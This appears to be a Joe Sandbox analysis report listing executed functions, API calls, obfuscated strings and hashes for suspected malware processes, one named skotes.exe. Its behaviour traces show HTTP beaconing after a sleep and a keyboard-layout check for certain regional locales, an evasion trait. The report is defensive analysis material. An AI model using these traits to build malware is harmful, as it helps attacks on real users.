Associated: 00000002.00000002.1981898227.0000000000C8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981914783.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981931113.0000000000C8F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981947651.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981975509.0000000000CD1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981992110.0000000000CD4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982043103.0000000000CEC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982060934.0000000000CEE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a50000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 74af63818bbe459f5667e032685c33343d7afb639b0091c25d6e9ea5fc7c70b7
Instruction ID: d8eaa31a692888c8bdea3ce7b251549ff046b9a6f3b4a423e1111de129d1a7c6
Opcode Fuzzy Hash: 74af63818bbe459f5667e032685c33343d7afb639b0091c25d6e9ea5fc7c70b7
Instruction Fuzzy Hash: 55A0018510C01DFDB81A85ED5991C3664DD90E9770A218CCABB17D31049B701A0C7225

Analysis Process: KOLH45MMED0OMDDRYHIG.exePID: 932, Parent PID: 6800COMMON

Executed Functions

Function 04EB067D Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903384821.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4eb0000_KOLH45MMED0OMDDRYHIG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9f54f97a50b7db7a1714da86bbfbd072a9e11778e10984c9dbf0eb879268a13
Instruction ID: 232559d75ccf7726711647f274b519164b7aa12fbc4ed91d8859c318efe50b52
Opcode Fuzzy Hash: f9f54f97a50b7db7a1714da86bbfbd072a9e11778e10984c9dbf0eb879268a13
Instruction Fuzzy Hash: 91118EEB24C120BDF14295422F14AFBA76DE7D6730330982BF887D1906F2953B4A38B5

Function 04EB0661 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903384821.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4eb0000_KOLH45MMED0OMDDRYHIG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 107462194eac6c10ec259dfc8520280198f7d1294222b006a2392d745dcb8614
Instruction ID: de4c05ed29c6eb3c65396ae78c07c6b583ef95754826cd37092a6fa22d7f833e
Opcode Fuzzy Hash: 107462194eac6c10ec259dfc8520280198f7d1294222b006a2392d745dcb8614
Instruction Fuzzy Hash: 7B117CEB24C120BDF14291426B14AFBA62DE7D6730331A82BF887D5906F2853B4938F5

Function 04EB0673 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903384821.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4eb0000_KOLH45MMED0OMDDRYHIG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72c1399190a4d33e1c4c13b1f451e170e122724abe81d11d2b22802820af350a
Instruction ID: 73e353c0114fcc6b476f27f49fead2649307f5a1472dc7db8776816654eb65a3
Opcode Fuzzy Hash: 72c1399190a4d33e1c4c13b1f451e170e122724abe81d11d2b22802820af350a
Instruction Fuzzy Hash: 9E117CEB34C120BDF14291426B14AFBA62DE7D6730731982BF887D5906F2853B4938F5

Function 04EB0690 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903384821.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4eb0000_KOLH45MMED0OMDDRYHIG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e43d5e5c5a8dacacbc77384fb427e64f4f46e85db63509a8d41dc2290130837
Instruction ID: 65dc54ff47a5a9724bffe0586a2e2666e6d7ac4a9b852d64d6f94a85d5e28738
Opcode Fuzzy Hash: 1e43d5e5c5a8dacacbc77384fb427e64f4f46e85db63509a8d41dc2290130837
Instruction Fuzzy Hash: 8611B2EB24C120BEF14291416F14AFBA72DE7D6B307309827F887D1506F2953B4938B5

Function 04EB0666 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903384821.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4eb0000_KOLH45MMED0OMDDRYHIG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2533882869e8728311a8668e959f7ea178b664453167fb90b350b50c26a4636
Instruction ID: dc7f1829ea2402fe43545bc715b679ddb8080599f468902827583ee5b4771628
Opcode Fuzzy Hash: d2533882869e8728311a8668e959f7ea178b664453167fb90b350b50c26a4636
Instruction Fuzzy Hash: A0119AEB24D121BDB14291412B149FBA72DEBC6B303319826F887D5406F2997A4A39B6

Function 04EB06A7 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903384821.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4eb0000_KOLH45MMED0OMDDRYHIG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 694ad8c408003705e61cd67f284fb9104a00c30f4019949c1d927c56b92c6396
Instruction ID: 49957d90e2fff2b4a0d3f2b786e7723ae554238b51d8eabce720a8cccbbe2ba9
Opcode Fuzzy Hash: 694ad8c408003705e61cd67f284fb9104a00c30f4019949c1d927c56b92c6396
Instruction Fuzzy Hash: 9B1190EB24D120BEF24191416B149FBA72CEBC6730330982BF887D5405F2952A5979B6

Function 04EB06C2 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903384821.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4eb0000_KOLH45MMED0OMDDRYHIG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82290208f1da091eac7c8f71db17142e512a796a97b207b79be3da9fddcb0e20
Instruction ID: 80a5b71166e0f8b27db1937ffd299846082fa34325aaccf6bdd69c4fbbbc737f
Opcode Fuzzy Hash: 82290208f1da091eac7c8f71db17142e512a796a97b207b79be3da9fddcb0e20
Instruction Fuzzy Hash: C41170EB24C130BEF14291422B14AFBA72DEBC67303319427F887D5405F2952B4A39B2

Function 04EB06EA Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903384821.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4eb0000_KOLH45MMED0OMDDRYHIG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dca1e3c1dda486e5437ba30f757a63d807d9cf527728bd07ce1b8002b1aadff1
Instruction ID: aaeeb3210d9c7802494d433406eec933eaed211ae73ee83d40ec53d3f4a0152e
Opcode Fuzzy Hash: dca1e3c1dda486e5437ba30f757a63d807d9cf527728bd07ce1b8002b1aadff1
Instruction Fuzzy Hash: 8A014CEB20C130BDB24194516B14AFBA72DEAD5B303319827FC86C5405F2566A4A39B1

Function 04EB06DC Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903384821.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4eb0000_KOLH45MMED0OMDDRYHIG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23a978aec38645ccbbff5867bedcbc72448d7c40f818b2d873228a08bc36939b
Instruction ID: fdb1c3ca4ca0287faf4aaeaf0d09050b8a7004b045effb251b8fb3986a5d85c7
Opcode Fuzzy Hash: 23a978aec38645ccbbff5867bedcbc72448d7c40f818b2d873228a08bc36939b
Instruction Fuzzy Hash: 97014CAB20C130BEB24190512B149FBA76DEBD57307319827F887C1405F6556A4939B1

Function 04EB0701 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903384821.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4eb0000_KOLH45MMED0OMDDRYHIG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eae2187647144287ae9276aca3a7fab45c1162a7ed39fe70c5bad94cce0fd564
Instruction ID: 8fabc7fb23f282d695931617253e020994013ccb7affcae0c600d1693f4d7639
Opcode Fuzzy Hash: eae2187647144287ae9276aca3a7fab45c1162a7ed39fe70c5bad94cce0fd564
Instruction Fuzzy Hash: 0D016DAB20D130BDF141A0523B149FBE76DEBD67303319827F887C1405F29A2B4A39B2

Function 04EB0717 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903384821.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4eb0000_KOLH45MMED0OMDDRYHIG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 772d841ff143de8fdb7ba4ccb0db5acb9222f0b2b8ff21eadba006b076ffdbc1
Instruction ID: 80a5586994976c0a0d5511c4bd1c1ad082fb67d4093e7eff90bf1a9d9e9c2611
Opcode Fuzzy Hash: 772d841ff143de8fdb7ba4ccb0db5acb9222f0b2b8ff21eadba006b076ffdbc1
Instruction Fuzzy Hash: 4FF0AFEB35C134BEE14160522B109F7E76DEBD57303319827F887C1801F2563A8A79B1

Function 04EB0734 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1903384821.0000000004EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4eb0000_KOLH45MMED0OMDDRYHIG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e18af2d41491489ffd5d52bd67e5a71f354eaef847143d5d50ffe0ebc63aab70
Instruction ID: dc5559d2f0582b0e606e81e3a3b22f7311e86e05eca7e7c8992b73585c20f0b4
Opcode Fuzzy Hash: e18af2d41491489ffd5d52bd67e5a71f354eaef847143d5d50ffe0ebc63aab70
Instruction Fuzzy Hash: 6CF0F6E725D130BEE24290516A909F7E76DEBD5B30331842BFCC3C5905E2092B4A39B2

Analysis Process: skotes.exePID: 7488, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	9.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.5%
Total number of Nodes:	1274
Total number of Limit Nodes:	5

Executed Functions

Function 00EEBE30 Relevance: 24.8, APIs: 6, Strings: 8, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 00EEBEB8
InternetOpenW.WININET(00F38DC8,00000000,00000000,00000000,00000000), ref: 00EEBEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00EEBEEC
HttpOpenRequestA.WININET(?,00000000), ref: 00EEBF35
HttpSendRequestA.WININET(?,00000000), ref: 00EEBFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 00EEC0A7
InternetCloseHandle.WININET(?), ref: 00EEC187
InternetCloseHandle.WININET(?), ref: 00EEC18F
InternetCloseHandle.WININET(?), ref: 00EEC197

Strings

8HJUeIfzLo==, xrefs: 00EEC3CB, 00EEC623
8HJUeMD Lq5=, xrefs: 00EEC465
invalid stoi argument, xrefs: 00EEE4F4
hc, xrefs: 00EECB06, 00EECCE4
xc, xrefs: 00EECE88, 00EED1B6, 00EED747
RmNn, xrefs: 00EED606
stoi argument out of range, xrefs: 00EEE4EA
RE1NXF==, xrefs: 00EEBF0E

Memory Dump Source

Source File: 00000007.00000002.4110113198.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000007.00000002.4110033329.0000000000EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110113198.0000000000F42000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110431203.0000000000F49000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.0000000000F4B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000010C5000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011A1000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D0000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D8000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011E6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111393086.00000000011E7000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111917421.0000000001378000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4112065251.000000000137A000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$hc$invalid stoi argument$stoi argument out of range$xc
API String ID: 2167506142-2799654861
Opcode ID: 5fde342b03d146c0b251a67ef10e9fad75b5f8a1e8957d7ca271e77b9709a29a
Instruction ID: ec5229cd0fa73f252508d9996460b3ef0f9cef24d1f7b39d49eda4f153cdcd0e
Opcode Fuzzy Hash: 5fde342b03d146c0b251a67ef10e9fad75b5f8a1e8957d7ca271e77b9709a29a
Instruction Fuzzy Hash: 2CB106B1A0015C9BDB28DF29CC84BEEBBB5EF45304F6051A9F508A72D1DB709AC1CB95

Function 00EE65E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00EE6680

Strings

RySfdMLx, xrefs: 00EE669C
ISNmfV==, xrefs: 00EE67D1
GSTmfV==, xrefs: 00EE6728

Memory Dump Source

Source File: 00000007.00000002.4110113198.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000007.00000002.4110033329.0000000000EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110113198.0000000000F42000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110431203.0000000000F49000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.0000000000F4B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000010C5000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011A1000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D0000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D8000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011E6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111393086.00000000011E7000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111917421.0000000001378000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4112065251.000000000137A000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: ce1c736e7bf2a82feafc98064498aa4aa9b4a5c13c86aba6c0f97df9a4be8294
Instruction ID: deb4bbd3529a5a06c7538266aef7ad5798b5fc68f328c07b11add6662b5e7bc5
Opcode Fuzzy Hash: ce1c736e7bf2a82feafc98064498aa4aa9b4a5c13c86aba6c0f97df9a4be8294
Instruction Fuzzy Hash: C391AFB190015C9BDB28DF28CC85BEDB7B9EB45304F5055E9E609E7282DB319BC48FA4

Function 00EFD3E2 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00EE24BE

Memory Dump Source

Source File: 00000007.00000002.4110113198.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000007.00000002.4110033329.0000000000EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110113198.0000000000F42000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110431203.0000000000F49000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.0000000000F4B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000010C5000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011A1000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D0000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D8000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011E6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111393086.00000000011E7000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111917421.0000000001378000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4112065251.000000000137A000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 753c9d9410c5a7f535db64c2536b25d71b47a0de67d4f7281b1c63e7d8f8c4b3
Instruction ID: 6ea88e1a8f4b53de071e718e0cd1616005519f18067d234ed34a635a6b77ab65
Opcode Fuzzy Hash: 753c9d9410c5a7f535db64c2536b25d71b47a0de67d4f7281b1c63e7d8f8c4b3
Instruction Fuzzy Hash: 9251C276E0460E8BDB15CF58DC857ADBBF2FB54318F24856ADA09EB251D338AD40CB90

Function 00EF47B0 Relevance: 37.0, APIs: 1, Strings: 22, Instructions: 2516COMMON

Download Yara Rule

Strings

KCWUOl==, xrefs: 00EF5649
9c9aa5, xrefs: 00EF5619
VXA0, xrefs: 00EF55AE
MGE+, xrefs: 00EF4866, 00EF48DD, 00EF4B85, 00EF4BFC
Fw==, xrefs: 00EF4E1D
(c, xrefs: 00EF6CCC
2I0, xrefs: 00EF5627
aWW0, xrefs: 00EF555C
93E0, xrefs: 00EF5600
jS=, xrefs: 00EF6513, 00EF67E2
GE0, xrefs: 00EF5585
8WI0, xrefs: 00EF5692
VXQ0, xrefs: 00EF550A
246122658369, xrefs: 00EF502A, 00EF503D, 00EF507F, 00EF5089, 00EF5684
anE0, xrefs: 00EF566B
3I3eB==, xrefs: 00EF4802
WGS0, xrefs: 00EF5533
9HQ0, xrefs: 00EF54E1
9250, xrefs: 00EF54AD
stoi argument out of range, xrefs: 00EF4F9C
Vmc0, xrefs: 00EF55D7
MGI+, xrefs: 00EF48AD, 00EF49DC, 00EF4BCC, 00EF4CFB

Memory Dump Source

Source File: 00000007.00000002.4110113198.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000007.00000002.4110033329.0000000000EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110113198.0000000000F42000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110431203.0000000000F49000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.0000000000F4B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000010C5000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011A1000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D0000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D8000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011E6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111393086.00000000011E7000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111917421.0000000001378000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4112065251.000000000137A000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleep
String ID: 2I0$ 3I3eB==$ GE0$ jS=$(c$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$stoi argument out of range
API String ID: 3516211189-1725164405
Opcode ID: 0bf426418918a66583eeacc0140fa598732755cd1e52637ce5f6b18461892c58
Instruction ID: db5cd37ea06469cb893be3202a536457bbb00e32914dbf7a713dd5d3fdced530
Opcode Fuzzy Hash: 0bf426418918a66583eeacc0140fa598732755cd1e52637ce5f6b18461892c58
Instruction Fuzzy Hash: 05232371A0025C8BEB19DB28CD897ADBBB69B81304F5481D8E149BB2D2DB359FC4CF51

Function 00EF2F10 Relevance: 21.9, APIs: 1, Strings: 11, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WTw=, xrefs: 00EF2F5E
", xrefs: 00EF3F89
Hykl, xrefs: 00EF387F
Fw==, xrefs: 00EF378E
246122658369, xrefs: 00EF2F78
invalid stoi argument, xrefs: 00EF434A
V2Te, xrefs: 00EF3EB0
stoi argument out of range, xrefs: 00EF4359
5120, xrefs: 00EF3BAF, 00EF3C9A
WX f, xrefs: 00EF3BDE
WGpm, xrefs: 00EF3CC9

Memory Dump Source

Source File: 00000007.00000002.4110113198.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000007.00000002.4110033329.0000000000EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110113198.0000000000F42000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110431203.0000000000F49000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.0000000000F4B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000010C5000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011A1000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D0000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D8000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011E6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111393086.00000000011E7000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111917421.0000000001378000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4112065251.000000000137A000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$V2Te$WGpm$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-1402436090
Opcode ID: a6b90850ccea091c7d7eba67d58c5cb963456c25b820941aa7b9eb7feec654ba
Instruction ID: bc5d77650d8862262527123b38e16c69b0dffb57c45db64929e239480fadd537
Opcode Fuzzy Hash: a6b90850ccea091c7d7eba67d58c5cb963456c25b820941aa7b9eb7feec654ba
Instruction Fuzzy Hash: 4C721471A0024C9BEF18EF78CD467AEBBB5EF45300F508588E545B72C6DB359B848B92

Function 00EE5EE0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 340
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000419, xrefs: 00EE6098
00000423, xrefs: 00EE60FA
0000043f, xrefs: 00EE612B
Keyboard Layout\Preload, xrefs: 00EE6054
00000422, xrefs: 00EE60C9

Memory Dump Source

Source File: 00000007.00000002.4110113198.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000007.00000002.4110033329.0000000000EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110113198.0000000000F42000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110431203.0000000000F49000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.0000000000F4B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000010C5000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011A1000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D0000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D8000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011E6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111393086.00000000011E7000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4111917421.0000000001378000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4112065251.000000000137A000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 500fa7e1b2d70739dfdbb07a39248ec00926efee16106c5ca91d64d1584a9f73
Instruction ID: 8b69c73f1efcb82d1ddf3e7763c7a77bb6fd09447f4e880c72b20526d610d864
Opcode Fuzzy Hash: 500fa7e1b2d70739dfdbb07a39248ec00926efee16106c5ca91d64d1584a9f73
Instruction Fuzzy Hash: D2D1AF7190025C9BEB24DF24CC84BEEB7B9EB15344F5042D8F508E7291DB74AAA88F95

Function 00EE7D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00EE7ED3

Strings

JjsrPl==, xrefs: 00EE828A
JjssOl==, xrefs: 00EE813A
JjsrQV==, xrefs: 00EE8092
JjssPV==, xrefs: 00EE81E2

Memory Dump Source

Source File: 00000007.00000002.4110113198.0000000000EE1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000007.00000002.4110033329.0000000000EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110113198.0000000000F42000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110431203.0000000000F49000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.0000000000F4B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000010C5000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011A1000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D0000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4110473002.00000000011D8000.00000040.00000001.01000000.0000000C.sdmpDownload File
